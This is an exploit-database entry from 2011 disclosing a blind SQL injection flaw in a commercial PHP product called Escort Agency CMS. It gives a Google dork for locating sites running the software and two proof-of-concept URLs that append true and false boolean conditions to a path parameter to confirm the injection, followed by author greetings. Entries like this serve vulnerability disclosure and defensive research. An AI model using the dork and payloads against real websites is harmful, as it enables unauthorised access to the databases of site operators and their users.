Escort Agency CMS - Blind SQL Injection

2011-02-12T00:00:00
ID EXPLOITPACK:00C1975CA9A2EFF4A64BA5AB30871B05
Type exploitpack
Reporter NoNameMT
Modified 2011-02-12T00:00:00

Description

Escort Agency CMS - Blind SQL Injection

                                        
                                            # Exploit Title: Escort Agency CMS Blind SQL Injection Vunerability
# Google Dork: "Powered by Escort agency CMS - Escort agency webdesign"
# Platform: php, webapp
# Date: 10.02.2011
# Author: NoNameMT
# Software Link:
http://www.escortwebsitedesign.co.uk/escort-agency-cms/index.php
# Price: 299 £ per month
# Tested on: Windows 7
# Mail: nonamemt@gmail.com
# Homepage: http://nonamemt.us

# Exploit:
http://localhost/agency5/Alexa,509+and+1=1--+ //True
http://localhost/agency5/Alexa,509+and+1=0--+ //False

# Greetings:
4004-security-project.com, J0hn.X3r, TamCore, bursali, theeddy42,
Nightmare_FH